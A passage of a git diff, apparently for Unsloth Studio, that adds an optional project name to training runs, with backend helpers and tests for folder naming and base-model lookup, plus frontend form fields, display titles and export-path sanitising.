+def test_model_segment_from_default_output_dir_name_strips_project_slug():
+    assert (
+        model_segment_from_default_output_dir_name(
+            "unsloth_Llama-3.2-3B-Instruct__project-customer-support_1771227800"
+        )
+        == "unsloth_Llama-3.2-3B-Instruct"
+    )
+
+
+def test_model_segment_preserves_project_marker_text_in_model_name():
+    output_dir = build_default_output_dir_name(
+        "org/foo__project-bar",
+        timestamp = 1771227800,
+    )
+
+    assert output_dir == "org_foo__project--bar_1771227800"
+    assert model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar"
+
+
+def test_model_segment_strips_project_slug_after_escaped_model_marker():
+    output_dir = build_default_output_dir_name(
+        "org/foo__project-bar",
+        "Customer Support",
+        timestamp = 1771227800,
+    )
+
+    assert output_dir == "org_foo__project--bar__project-customer-support_1771227800"
+    assert model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar"
+
+
+def test_extract_project_name_from_config_json_returns_normalized_name():
+    config_json = json.dumps({"project_name": "  Sales   Assistant  "})
+
+    assert _extract_project_name_from_config_json(config_json) == "Sales Assistant"
+
+
+def test_extract_project_name_from_config_json_handles_missing_or_invalid_payload():
+    assert _extract_project_name_from_config_json(None) is None
+    assert _extract_project_name_from_config_json("not-json") is None
+    assert _extract_project_name_from_config_json(json.dumps({"project_name": "   "})) is None
diff --git a/studio/backend/tests/test_training_streaming.py b/studio/backend/tests/test_training_streaming.py
index 8ff016d3bf..70b2d6fdcc 100644
--- a/studio/backend/tests/test_training_streaming.py
+++ b/studio/backend/tests/test_training_streaming.py
@@ -195,6 +195,16 @@ def test_hf_dataset_rejects_unsafe_values(bad_hf_dataset):
         )
 
 
+def test_project_name_rejects_values_over_ui_limit():
+    with pytest.raises(ValidationError):
+        TrainingStartRequest(
+            model_name = "unsloth/test",
+            project_name = "x" * 81,
+            training_type = "LoRA/QLoRA",
+            format_type = "alpaca",
+        )
+
+
 # --- Start-route streaming compatibility guards ---
 
 
diff --git a/studio/backend/utils/models/checkpoints.py b/studio/backend/utils/models/checkpoints.py
index d174f6677b..90e26d45d0 100644
--- a/studio/backend/utils/models/checkpoints.py
+++ b/studio/backend/utils/models/checkpoints.py
@@ -9,6 +9,12 @@ import structlog
 from loggers import get_logger
 from pathlib import Path
 from typing import List, Optional, Tuple
+from storage.studio_db import get_connection
+from utils.training_runs import (
+    build_default_output_dir_name,
+    extract_project_name,
+    model_segment_from_default_output_dir_name,
+)
 from utils.paths import outputs_root, resolve_output_dir
 
 logger = get_logger(__name__)
@@ -30,6 +36,93 @@ def _checkpoint_sort_key(checkpoint_path: Path) -> tuple[int, int, str]:
     return (1, 0, str(checkpoint_path))
 
 
+def _infer_base_model_from_history(checkpoint_dir: Path) -> Optional[str]:
+    """Best-effort base-model lookup using persisted Studio run metadata."""
+    checkpoint_name = checkpoint_dir.name
+    resolved_checkpoint_dir = str(checkpoint_dir.resolve())
+
+    try:
+        conn = get_connection()
+    except Exception:
+        return None
+
+    try:
+        exact_rows = conn.execute(
+            """
+            SELECT model_name
+            FROM training_runs
+            WHERE output_dir IN (?, ?)
+            ORDER BY started_at DESC
+            """,
+            (
+                resolved_checkpoint_dir,
+                str(checkpoint_dir),
+            ),
+        ).fetchall()
+        for row in exact_rows:
+            model_name = row["model_name"]
+            if model_name:
+                return model_name
+
+        suffix_rows = conn.execute(
+            """
+            SELECT model_name, output_dir
+            FROM training_runs
+            WHERE output_dir IS NOT NULL
+            ORDER BY started_at DESC
+            """
+        ).fetchall()
+        for row in suffix_rows:
+            output_dir = str(row["output_dir"] or "").rstrip("/\\")
+            if not (
+                output_dir.endswith(f"/{checkpoint_name}")
+                or output_dir.endswith(f"\\{checkpoint_name}")
+            ):
+                continue
+            model_name = row["model_name"]
+            if model_name:
+                return model_name
+
+        parts = checkpoint_name.rsplit("_", 1)
+        if len(parts) != 2 or not parts[1].isdigit():
+            return None
+
+        timestamp = int(parts[1])
+        generated_rows = conn.execute(
+            """
+            SELECT model_name, config_json
+            FROM training_runs
+            ORDER BY started_at DESC
+            """
+        ).fetchall()
+        for row in generated_rows:
+            model_name = row["model_name"]
+            if not model_name:
+                continue
+
+            project_name = None
+            config_json = row["config_json"]
+            if config_json:
+                try:
+                    project_name = extract_project_name(json.loads(config_json))
+                except (TypeError, json.JSONDecodeError):
+                    project_name = None
+
+            expected_dir_name = build_default_output_dir_name(
+                model_name,
+                project_name,
+                timestamp = timestamp,
+            )
+            if expected_dir_name == checkpoint_name:
+                return model_name
+    except Exception:
+        return None
+    finally:
+        conn.close()
+
+    return None
+
+
 def _read_checkpoint_loss(checkpoint_path: Path) -> Optional[float]:
     """Read loss from the last log_history entry of trainer_state.json, or None."""
     trainer_state = checkpoint_path / "trainer_state.json"
@@ -106,9 +199,11 @@ def scan_checkpoints(
             # Fallback: extract base model name from the folder name, e.g.
             # "unsloth_Llama-3.2-3B-Instruct_1771227800" → "unsloth/Llama-3.2-3B-Instruct"
             if not metadata.get("base_model"):
-                parts = item.name.rsplit("_", 1)
-                if len(parts) == 2 and parts[1].isdigit():
-                    name_part = parts[0]
+                metadata["base_model"] = _infer_base_model_from_history(item)
+
+            if not metadata.get("base_model"):
+                name_part = model_segment_from_default_output_dir_name(item.name)
+                if name_part:
                     idx = name_part.find("_")
                     if idx > 0:
                         metadata["base_model"] = name_part[:idx] + "/" + name_part[idx + 1 :]
diff --git a/studio/backend/utils/training_runs.py b/studio/backend/utils/training_runs.py
new file mode 100644
index 0000000000..dc2535e570
--- /dev/null
+++ b/studio/backend/utils/training_runs.py
@@ -0,0 +1,104 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Helpers for naming and describing Studio training runs."""
+
+from __future__ import annotations
+
+import re
+import time
+from typing import Any, Optional
+
+_INVALID_SEGMENT_CHARS = re.compile(r"[^A-Za-z0-9._-]+")
+_MAX_RUN_DIR_NAME_CHARS = 255
+_PROJECT_MARKER = "__project-"
+_PROJECT_MARKER_ESCAPE = f"{_PROJECT_MARKER}-"
+
+
+def _trim_segment(segment: str, max_chars: int) -> str:
+    if max_chars <= 0:
+        return ""
+    return segment[:max_chars].strip("._-")
+
+
+def _escape_project_marker(segment: str) -> str:
+    return segment.replace(_PROJECT_MARKER, _PROJECT_MARKER_ESCAPE)
+
+
+def _unescape_project_marker(segment: str) -> str:
+    return segment.replace(_PROJECT_MARKER_ESCAPE, _PROJECT_MARKER)
+
+
+def _appended_project_marker_index(segment: str) -> int:
+    marker_index = segment.rfind(_PROJECT_MARKER)
+    while marker_index >= 0 and segment.startswith(_PROJECT_MARKER_ESCAPE, marker_index):
+        marker_index = segment.rfind(_PROJECT_MARKER, 0, marker_index)
+    return marker_index
+
+
+def normalize_project_name(project_name: Any) -> Optional[str]:
+    """Return a trimmed project name, or None when empty/invalid."""
+    if not isinstance(project_name, str):
+        return None
+    normalized = " ".join(project_name.strip().split())
+    return normalized or None
+
+
+def slugify_project_name(project_name: Any) -> Optional[str]:
+    """Convert a project name into a filesystem-safe suffix."""
+    normalized = normalize_project_name(project_name)
+    if normalized is None:
+        return None
+
+    slug = _INVALID_SEGMENT_CHARS.sub("-", normalized).strip("-._")
+    if not slug:
+        return None
+    return slug.lower()
+
+
+def build_default_output_dir_name(
+    model_name: str,
+    project_name: Any = None,
+    *,
+    timestamp: Optional[int] = None,
+) -> str:
+    """Build the default training output folder name."""
+    from utils.paths import default_run_dir_name
+
+    timestamp_part = str(int(time.time() if timestamp is None else timestamp))
+    timestamp_suffix = f"_{timestamp_part}"
+    model_segment = _escape_project_marker(default_run_dir_name(model_name))
+    project_slug = slugify_project_name(project_name)
+    if not project_slug:
+        max_model_chars = _MAX_RUN_DIR_NAME_CHARS - len(timestamp_suffix)
+        model_segment = _trim_segment(model_segment, max_model_chars) or "model"
+        return f"{model_segment}{timestamp_suffix}"
+
+    max_project_chars = (
+        _MAX_RUN_DIR_NAME_CHARS - len("model") - len(_PROJECT_MARKER) - len(timestamp_suffix)
+    )
+    project_slug = _trim_segment(project_slug, max_project_chars) or "project"
+    project_suffix = f"{_PROJECT_MARKER}{project_slug}{timestamp_suffix}"
+    max_model_chars = _MAX_RUN_DIR_NAME_CHARS - len(project_suffix)
+    model_segment = _trim_segment(model_segment, max_model_chars) or "model"
+    return f"{model_segment}{project_suffix}"
+
+
+def model_segment_from_default_output_dir_name(output_dir_name: str) -> Optional[str]:
+    """Return the encoded model segment from a default run folder name."""
+    parts = str(output_dir_name or "").rsplit("_", 1)
+    if len(parts) != 2 or not parts[1].isdigit():
+        return None
+    model_segment = parts[0]
+    marker_index = _appended_project_marker_index(model_segment)
+    if marker_index >= 0:
+        model_segment = model_segment[:marker_index]
+    model_segment = _unescape_project_marker(model_segment)
+    return model_segment or None
+
+
+def extract_project_name(config: Any) -> Optional[str]:
+    """Read and normalize a project name from a stored config dict."""
+    if not isinstance(config, dict):
+        return None
+    return normalize_project_name(config.get("project_name"))
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 06f2701a16..0203605767 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -123,6 +123,7 @@ import {
   deleteTrainingRun,
   emitTrainingRunDeleted,
   emitTrainingRunUpdated,
+  getTrainingRunDisplayTitle,
   removeTrainingUnloadGuard,
   renameTrainingRun,
   useTrainingCompletionWatch,
@@ -592,7 +593,7 @@ export function AppSidebar() {
     setRenamingTarget({ kind: "chat", item, current: item.title });
   }
   function openRenameRun(run: TrainingRunSummary) {
-    const current = run.display_name ?? run.model_name;
+    const current = getTrainingRunDisplayTitle(run);
     setRenameDraft(current);
     setRenamingTarget({ kind: "run", run, current });
   }
@@ -1377,7 +1378,7 @@ export function AppSidebar() {
                               aria-hidden
                             />
                             <span className="truncate">
-                              {run.display_name ?? run.model_name}
+                              {getTrainingRunDisplayTitle(run)}
                             </span>
                             <span className="ml-auto mr-0.5 shrink-0 text-[10px] text-muted-foreground">
                               {formatRelativeShort(run.started_at)}
@@ -1653,8 +1654,7 @@ export function AppSidebar() {
               renderEmphasizedTranslation(
                 t,
                 "shell.dialog.deleteRun.description",
-                confirmingDelete.run.display_name ??
-                  confirmingDelete.run.model_name,
+                getTrainingRunDisplayTitle(confirmingDelete.run),
               )
             ) : confirmingDelete?.kind === "chat" ? (
               renderEmphasizedTranslation(
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 7d38d9b222..4037dbe079 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -75,16 +75,35 @@ import { exportTourSteps } from "./tour";
 const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]);
 
 type SourceTab = "local" | "checkpoint" | "hf";
+type SourceMode = "checkpoint" | "model";
+
+
+function safePathSegment(
+  value: string | null | undefined,
+  fallback = "model",
+  maxLength = 250,
+): string {
+  const safe = (value ?? "")
+    .replace(/[^a-zA-Z0-9._-]/g, "-")
+    .replace(/^[._-]+|[._-]+$/g, "")
+    .slice(0, maxLength)
+    .replace(/[._-]+$/g, "");
+  return safe || fallback;
+}
 
 function buildRelativeSaveDirectory(
   exportMethod: ExportMethod | null,
+  sourceMode: SourceMode,
   sourceBaseModelName: string,
   selectedModelIdx: string | null,
   checkpoint: string | null,
 ): string {
   if (exportMethod === "gguf") {
-    return `${(sourceBaseModelName.split("/").pop() ?? selectedModelIdx ?? "model")
-      .replace(/[^a-zA-Z0-9._-]/g, "-")}-GGUF`;
+    const rawName =
+      sourceMode === "checkpoint"
+        ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName
+        : sourceBaseModelName;
+    return `${safePathSegment(rawName)}-GGUF`;
   }
   return `${selectedModelIdx ?? "model"}/${checkpoint}`;
 }
@@ -125,9 +144,7 @@ export function ExportPage() {
 
   const [selectedModelIdx, setSelectedModelIdx] = useState<string | null>(null);
   const [checkpoint, setCheckpoint] = useState<string | null>(null);
-  const [sourceMode, setSourceMode] = useState<"checkpoint" | "model">(
-    "checkpoint",
-  );
+  const [sourceMode, setSourceMode] = useState<SourceMode>("checkpoint");
   const [modelSource, setModelSource] = useState<"hf" | "local">("hf");
   const [modelInput, setModelInput] = useState("");
   const [selectedSourceModel, setSelectedSourceModel] = useState<string | null>(
@@ -449,6 +466,7 @@ export function ExportPage() {
   const defaultSaveDirectory = useMemo(() => {
     const relative = buildRelativeSaveDirectory(
       exportMethod,
+      sourceMode,
       sourceBaseModelName,
       selectedModelIdx,
       checkpoint,
diff --git a/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx b/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
index a1174186af..2fb2f7adeb 100644
--- a/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
@@ -7,6 +7,7 @@ import {
   FieldLegend,
   FieldSet,
 } from "@/components/ui/field";
+import { Input } from "@/components/ui/input";
 import {
   Select,
   SelectContent,
@@ -59,6 +60,8 @@ function stepLR(value: number, direction: 1 | -1): number {
 export function HyperparametersStep() {
   const {
     trainingMethod,
+    projectName,
+    setProjectName,
     maxSteps,
     setMaxSteps,
     epochs,
@@ -79,6 +82,8 @@ export function HyperparametersStep() {
   } = useTrainingConfigStore(
     useShallow((s) => ({
       trainingMethod: s.trainingMethod,
+      projectName: s.projectName,
+      setProjectName: s.setProjectName,
       maxSteps: s.maxSteps,
       setMaxSteps: s.setMaxSteps,
       epochs: s.epochs,
@@ -125,6 +130,26 @@ export function HyperparametersStep() {
       <FieldSet>
         <FieldLegend variant="label">Choose your training parameters</FieldLegend>
         <div className="flex flex-col gap-4">
+          <div className="flex flex-col gap-2">
+            <div className="flex items-center justify-between">
+              <FieldLabel className="flex items-center gap-1.5 !text-sm text-muted-foreground">
+                Project Name
+                <span className="text-xs font-normal text-muted-foreground/70">
+                  Optional
+                </span>
+              </FieldLabel>
+            </div>
+            <Input
+              value={projectName || ""}
+              onChange={(e) => setProjectName(e.target.value)}
+              placeholder="customer-support-lora"
+              maxLength={80}
+            />
+            <p className="text-xs text-muted-foreground">
+              Used in training output folder names, export defaults, and history.
+            </p>
+          </div>
+
           <div
             key={useEpochs ? "epochs" : "steps"}
             className="flex flex-col gap-2 animate-in fade-in-1 slide-in-from-bottom-1 duration-200"
diff --git a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
index 1988cfe970..6b6b11bf1f 100644
--- a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
@@ -50,6 +50,7 @@ export function SummaryStep() {
   const {
     modelType,
     selectedModel,
+    projectName,
     trainingMethod,
     datasetSource,
     datasetFormat,
@@ -68,6 +69,7 @@ export function SummaryStep() {
       ({
         modelType,
         selectedModel,
+        projectName,
         trainingMethod,
         datasetSource,
         datasetFormat,
@@ -84,6 +86,7 @@ export function SummaryStep() {
       }) => ({
         modelType,
         selectedModel,
+        projectName,
         trainingMethod,
         datasetSource,
         datasetFormat,
@@ -152,6 +155,7 @@ export function SummaryStep() {
           <Separator className="my-2" />
           <div className="space-y-1 text-sm">
             <Row label="Type" value={modelType} capitalize />
+            <Row label="Project" value={projectName || "--"} />
             <Row label="Method" value={trainingMethodLabel} />
           </div>
         </CardContent>
diff --git a/studio/frontend/src/features/studio/historical-training-view.tsx b/studio/frontend/src/features/studio/historical-training-view.tsx
index 0bca090413..2f80fc29ca 100644
--- a/studio/frontend/src/features/studio/historical-training-view.tsx
+++ b/studio/frontend/src/features/studio/historical-training-view.tsx
@@ -78,6 +78,7 @@ function mapToViewData(
     error: run.status === "error" ? run.error_message : null,
     isTrainingRunning: false,
     modelName: run.display_name ?? run.model_name,
+    projectName: run.project_name,
     trainingMethod: parseBackendTrainingMethod(
       detail.config?.training_type,
       detail.config?.load_in_4bit,
diff --git a/studio/frontend/src/features/studio/history-card-grid.tsx b/studio/frontend/src/features/studio/history-card-grid.tsx
index 5ff9f3bf82..bd76171ce2 100644
--- a/studio/frontend/src/features/studio/history-card-grid.tsx
+++ b/studio/frontend/src/features/studio/history-card-grid.tsx
@@ -15,6 +15,8 @@ import { Button } from "@/components/ui/button";
 import type { TrainingRunSummary } from "@/features/training";
 import {
   deleteTrainingRun,
+  getTrainingRunDisplayTitle,
+  getTrainingRunModelSubtitle,
   emitTrainingRunDeleted,
   listTrainingRuns,
   onTrainingRunDeleted,
@@ -387,6 +389,12 @@ export function HistoryCardGrid({
           const isRunning = run.status === "running";
           const canResume = run.can_resume && !wasContinued;
           const isResuming = resumeTarget === run.id;
+
+          const title = getTrainingRunDisplayTitle(run);
+          const modelSubtitle = getTrainingRunModelSubtitle(run);
+
+          const projectSubtitle =
+            run.project_name && title !== run.project_name ? run.project_name : null;
           // Backend /p ref + its capability token. Both are required: the link
           // is useless (404s) without the signature, so don't offer to copy it.
           const canCopyPreview = !!run.preview_ref && !!run.preview_sig;
@@ -476,16 +484,16 @@ export function HistoryCardGrid({
               <div className="min-w-0">
                 <p
                   className="truncate text-sm font-medium"
-                  title={run.display_name ?? run.model_name}
+                  title={title}
                 >
-                  {run.display_name ?? run.model_name}
+                  {title}
                 </p>
-                {run.display_name && (
+                {modelSubtitle && (
                   <p
                     className="truncate text-xs text-muted-foreground"
-                    title={run.model_name}
+                    title={modelSubtitle}
                   >
-                    {run.model_name}
+                    {modelSubtitle}
                   </p>
                 )}
                 <p
@@ -494,6 +502,14 @@ export function HistoryCardGrid({
                 >
                   {run.dataset_name}
                 </p>
+                {projectSubtitle && (
+                  <p
+                    className="truncate text-xs text-muted-foreground/80"
+                    title={projectSubtitle}
+                  >
+                    {projectSubtitle}
+                  </p>
+                )}
               </div>
               {run.loss_sparkline && run.loss_sparkline.length >= 2 && (
                 <div className={cn((canResume || canCopyPreview) && "h-7 overflow-hidden")}>
diff --git a/studio/frontend/src/features/studio/live-training-view.tsx b/studio/frontend/src/features/studio/live-training-view.tsx
index e355655d54..cce39adbf4 100644
--- a/studio/frontend/src/features/studio/live-training-view.tsx
+++ b/studio/frontend/src/features/studio/live-training-view.tsx
@@ -33,6 +33,8 @@ export function LiveTrainingView(): ReactElement {
       evalEnabled: state.evalEnabled,
       outputDir: state.outputDir,
       isTrainingRunning: state.isTrainingRunning,
+      startModelName: state.startModelName,
+      startProjectName: state.startProjectName,
       lossHistory: state.lossHistory,
       lrHistory: state.lrHistory,
       gradNormHistory: state.gradNormHistory,
@@ -45,10 +47,16 @@ export function LiveTrainingView(): ReactElement {
   const config = useTrainingConfigStore(
     useShallow((state) => ({
       selectedModel: state.selectedModel,
+      projectName: state.projectName,
       trainingMethod: state.trainingMethod,
     })),
   );
 
+  const activeProjectName =
+    runtime.startProjectName !== null
+      ? runtime.startProjectName.trim() || null
+      : (config.projectName || "").trim() || null;
+
   const viewData: TrainingViewData = {
     phase: runtime.phase,
     currentStep: runtime.currentStep,
@@ -66,7 +74,8 @@ export function LiveTrainingView(): ReactElement {
     message: runtime.message,
     error: runtime.error,
     isTrainingRunning: runtime.isTrainingRunning,
-    modelName: config.selectedModel ?? "",
+    modelName: runtime.startModelName ?? config.selectedModel ?? "",
+    projectName: activeProjectName,
     trainingMethod: config.trainingMethod ?? "",
     lossHistory: runtime.lossHistory,
     lrHistory: runtime.lrHistory,
diff --git a/studio/frontend/src/features/studio/sections/params-section.tsx b/studio/frontend/src/features/studio/sections/params-section.tsx
index 059d665122..2609558145 100644
--- a/studio/frontend/src/features/studio/sections/params-section.tsx
+++ b/studio/frontend/src/features/studio/sections/params-section.tsx
@@ -229,6 +229,24 @@ export function ParamsSection(): ReactElement {
           : "h-studio-config-column"} duration-150`}
       >
         <div className="flex flex-col gap-4">
+          <div className="flex flex-col gap-2">
+            <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
+              {t("studio.params.projectName")}
+              <span className="text-[10px] font-normal text-muted-foreground/70">
+                {t("studio.params.optional")}
+              </span>
+            </span>
+            <Input
+              value={store.projectName || ""}
+              onChange={(event) => store.setProjectName(event.target.value)}
+              placeholder="customer-support-lora"
+              maxLength={80}
+            />
+            <p className="text-[10px] text-muted-foreground">
+              {t("studio.params.projectNameDescription")}
+            </p>
+          </div>
+
           {/* Max Steps / Epochs */}
           <div className="flex flex-col gap-2">
             <div
diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx
index de8605e021..6aaca86e0b 100644
--- a/studio/frontend/src/features/studio/sections/progress-section.tsx
+++ b/studio/frontend/src/features/studio/sections/progress-section.tsx
@@ -270,6 +270,11 @@ export function ProgressSection({
             >
               {t(phaseLabelKeys[data.phase])}
             </span>
+            {data.projectName && (
+              <span className="rounded-full border border-border/60 px-2.5 py-1 text-[10px] font-medium text-foreground/80">
+                {data.projectName}
+              </span>
+            )}
             <span className="text-[10px] tabular-nums text-muted-foreground">
               {t("studio.progress.epoch", {
                 value: formatNumber(data.currentEpoch, 2),
@@ -290,7 +295,7 @@ export function ProgressSection({
               </span>
               <span>{pct}%</span>
             </div>
-            <Progress value={pct} className="h-2 bg-foreground/[0.05]" />
+            <Progress value={pct} className="h-2 bg-foreground/5" />
           </div>
 
           {!isHistorical && (
@@ -307,7 +312,12 @@ export function ProgressSection({
             </p>
           )}
 
-          <div className="grid gap-x-4 gap-y-3 pt-1 sm:grid-cols-2 xl:grid-cols-5">
+          <div
+            className={cn(
+              "grid gap-x-4 gap-y-3 pt-1 sm:grid-cols-2",
+              data.projectName ? "xl:grid-cols-6" : "xl:grid-cols-5",
+            )}
+          >
             <MetricStat
               label={t("studio.progress.loss")}
               valueClassName="text-2xl font-bold tracking-tight"
@@ -318,6 +328,11 @@ export function ProgressSection({
             <MetricStat label={t("studio.progress.gradNorm")}>
               {formatNumber(stoppedGradNorm, 3)}
             </MetricStat>
+            {data.projectName && (
+              <MetricStat label={t("studio.progress.project")} valueClassName="truncate">
+                {data.projectName}
+              </MetricStat>
+            )}
             <MetricStat label={t("studio.progress.model")} valueClassName="truncate">
               {data.modelName || "--"}
             </MetricStat>
diff --git a/studio/frontend/src/features/training/api/mappers.ts b/studio/frontend/src/features/training/api/mappers.ts
index d4c800afe4..c2e23dbf3c 100644
--- a/studio/frontend/src/features/training/api/mappers.ts
+++ b/studio/frontend/src/features/training/api/mappers.ts
@@ -73,6 +73,7 @@ export function buildTrainingStartPayload(
 
   return {
     model_name: config.selectedModel ?? "",
+    project_name: (config.projectName || "").trim() || null,
     training_type: toBackendTrainingType(config.trainingMethod),
     hf_token: config.hfToken.trim() || null,
     load_in_4bit: (adapterMethod && isQloraMethod) || (isCpt && isFourBitModel),
diff --git a/studio/frontend/src/features/training/hooks/use-training-actions.ts b/studio/frontend/src/features/training/hooks/use-training-actions.ts
index 8c2b3e9e77..2f04656c23 100644
--- a/studio/frontend/src/features/training/hooks/use-training-actions.ts
+++ b/studio/frontend/src/features/training/hooks/use-training-actions.ts
@@ -60,6 +60,7 @@ export function useTrainingActions() {
       config.selectedModel ?? null,
       getHfDatasetName(config),
       false,
+      config.projectName || "",
     );
     runtimeStore.setStarting(true);
 
@@ -152,7 +153,12 @@ export function useTrainingActions() {
 
       // Re-read config after potential store updates from dataset check
       const payload = buildTrainingStartPayload(useTrainingConfigStore.getState());
-      runtimeStore.setStartResources(payload.model_name, payload.hf_dataset, false);
+      runtimeStore.setStartResources(
+        payload.model_name,
+        payload.hf_dataset,
+        false,
+        payload.project_name ?? "",
+      );
       const response = await startTraining(payload);
 
       if (response.status === "error") {
@@ -196,7 +202,7 @@ export function useTrainingActions() {
   const resumeTrainingRunFromHistory = useCallback(async (runId: string): Promise<boolean> => {
     const runtimeStore = useTrainingRuntimeStore.getState();
     runtimeStore.setStartError(null);
-    runtimeStore.setStartResources(null, null, true);
+    runtimeStore.setStartResources(null, null, true, null);
     runtimeStore.setStarting(true);
 
     try {
@@ -220,7 +226,12 @@ export function useTrainingActions() {
         resume_from_checkpoint: outputDir,
       } as TrainingStartRequest;
 
-      runtimeStore.setStartResources(payload.model_name, payload.hf_dataset, true);
+      runtimeStore.setStartResources(
+        payload.model_name,
+        payload.hf_dataset,
+        true,
+        payload.project_name ?? "",
+      );
 
       // Resume goes straight to startTraining, so it runs the same consent gate as a
       // fresh start; otherwise a resumed custom-code run hits the worker block with no dialog.
diff --git a/studio/frontend/src/features/training/index.ts b/studio/frontend/src/features/training/index.ts
index 5157d89582..553dcc2af5 100644
--- a/studio/frontend/src/features/training/index.ts
+++ b/studio/frontend/src/features/training/index.ts
@@ -7,6 +7,11 @@ export {
   useTrainingRuntimeStore,
 } from "./stores/training-runtime-store";
 export { useTrainingActions } from "./hooks/use-training-actions";
+
+export {
+  getTrainingRunDisplayTitle,
+  getTrainingRunModelSubtitle,
+} from "./lib/run-display";
 export { useTrainingHistorySidebarItems } from "./hooks/use-training-history-sidebar";
 export { useTrainingRuntimeLifecycle } from "./hooks/use-training-runtime-lifecycle";
 export { useTrainingCompletionWatch } from "./hooks/use-training-completion-watch";
diff --git a/studio/frontend/src/features/training/lib/run-display.ts b/studio/frontend/src/features/training/lib/run-display.ts
new file mode 100644
index 0000000000..b691b257c4
--- /dev/null
+++ b/studio/frontend/src/features/training/lib/run-display.ts
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { TrainingRunSummary } from "../types/history";
+
+type TrainingRunTitleFields = Pick<
+  TrainingRunSummary,
+  "display_name" | "project_name" | "model_name"
+>;
+
+function nonEmpty(value: string | null | undefined): string | null {
+  const trimmed = value?.trim();
+  return trimmed ? trimmed : null;
+}
+
+export function getTrainingRunDisplayTitle(run: TrainingRunTitleFields): string {
+  return nonEmpty(run.display_name) ?? nonEmpty(run.project_name) ?? run.model_name;
+}
+
+export function getTrainingRunModelSubtitle(
+  run: TrainingRunTitleFields,
+): string | null {
+  return getTrainingRunDisplayTitle(run) === run.model_name ? null : run.model_name;
+}
diff --git a/studio/frontend/src/features/training/stores/training-config-store.ts b/studio/frontend/src/features/training/stores/training-config-store.ts
index 85ce25aa97..07be8a247b 100644
--- a/studio/frontend/src/features/training/stores/training-config-store.ts
+++ b/studio/frontend/src/features/training/stores/training-config-store.ts
@@ -58,6 +58,7 @@ const initialState: TrainingConfigState = {
   currentStep: MIN_STEP,
   modelType: null,
   selectedModel: null,
+  projectName: "",
   trainingMethod: "qlora",
   hfToken: "",
   datasetSource: "huggingface",
@@ -613,6 +614,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           if (state.modelDefaultsAppliedFor === state.selectedModel) return;
           void loadAndApplyModelDefaults(state.selectedModel);
         },
+        setProjectName: (projectName) => set({ projectName }),
         setTrainingMethod: (trainingMethod) => {
           const state = get();
           set(
diff --git a/studio/frontend/src/features/training/stores/training-runtime-store.ts b/studio/frontend/src/features/training/stores/training-runtime-store.ts
index 9eaaa98c0e..acc80a3be2 100644
--- a/studio/frontend/src/features/training/stores/training-runtime-store.ts
+++ b/studio/frontend/src/features/training/stores/training-runtime-store.ts
@@ -24,6 +24,7 @@ const initialState: TrainingRuntimeState = {
   startError: null,
   startModelName: null,
   startDatasetName: null,
+  startProjectName: null,
   startFromResume: false,
   sseConnected: false,
   firstStepReceived: false,
@@ -125,8 +126,12 @@ export const useTrainingRuntimeStore = create<TrainingRuntimeStore>()((set) => (
   setHasHydrated: (value) => set({ hasHydrated: value }),
   setStarting: (value) => set({ isStarting: value }),
   setStartError: (value) => set({ startError: value }),
-  setStartResources: (startModelName, startDatasetName, startFromResume = false) =>
-    set({ startModelName, startDatasetName, startFromResume }),
+  setStartResources: (
+    startModelName,
+    startDatasetName,
+    startFromResume = false,
+    startProjectName = null,
+  ) => set({ startModelName, startDatasetName, startProjectName, startFromResume }),
   setSseConnected: (value) => set({ sseConnected: value }),
   setLastEventId: (value) => set({ lastEventId: value }),
 
diff --git a/studio/frontend/src/features/training/types/api.ts b/studio/frontend/src/features/training/types/api.ts
index 4f7a41bdea..ecd29a2ff0 100644
--- a/studio/frontend/src/features/training/types/api.ts
+++ b/studio/frontend/src/features/training/types/api.ts
@@ -5,6 +5,7 @@ import type { S3Config } from "@/types/training";
 
 export interface TrainingStartRequest {
   model_name: string;
+  project_name: string | null;
   training_type: string;
   hf_token: string | null;
   load_in_4bit: boolean;
diff --git a/studio/frontend/src/features/training/types/config.ts b/studio/frontend/src/features/training/types/config.ts
index d24ce31a6a..5658dfc7a1 100644
--- a/studio/frontend/src/features/training/types/config.ts
+++ b/studio/frontend/src/features/training/types/config.ts
@@ -21,6 +21,7 @@ export interface TrainingConfigState {
   currentStep: StepNumber;
   modelType: ModelType | null;
   selectedModel: string | null;
+  projectName: string;
   trainingMethod: TrainingMethod;
   hfToken: string;
   datasetSource: DatasetSource;
@@ -95,6 +96,7 @@ export interface TrainingConfigActions {
   prevStep: () => void;
   setModelType: (type: ModelType) => void;
   setSelectedModel: (model: string | null) => void;
+  setProjectName: (value: string) => void;
   ensureModelDefaultsLoaded: () => void;
   ensureDatasetChecked: () => void;
   setTrainingMethod: (method: TrainingMethod) => void;
diff --git a/studio/frontend/src/features/training/types/history.ts b/studio/frontend/src/features/training/types/history.ts
index 45d83a31d2..99e9bdcb17 100644
--- a/studio/frontend/src/features/training/types/history.ts
+++ b/studio/frontend/src/features/training/types/history.ts
@@ -5,6 +5,7 @@ export interface TrainingRunSummary {
   id: string;
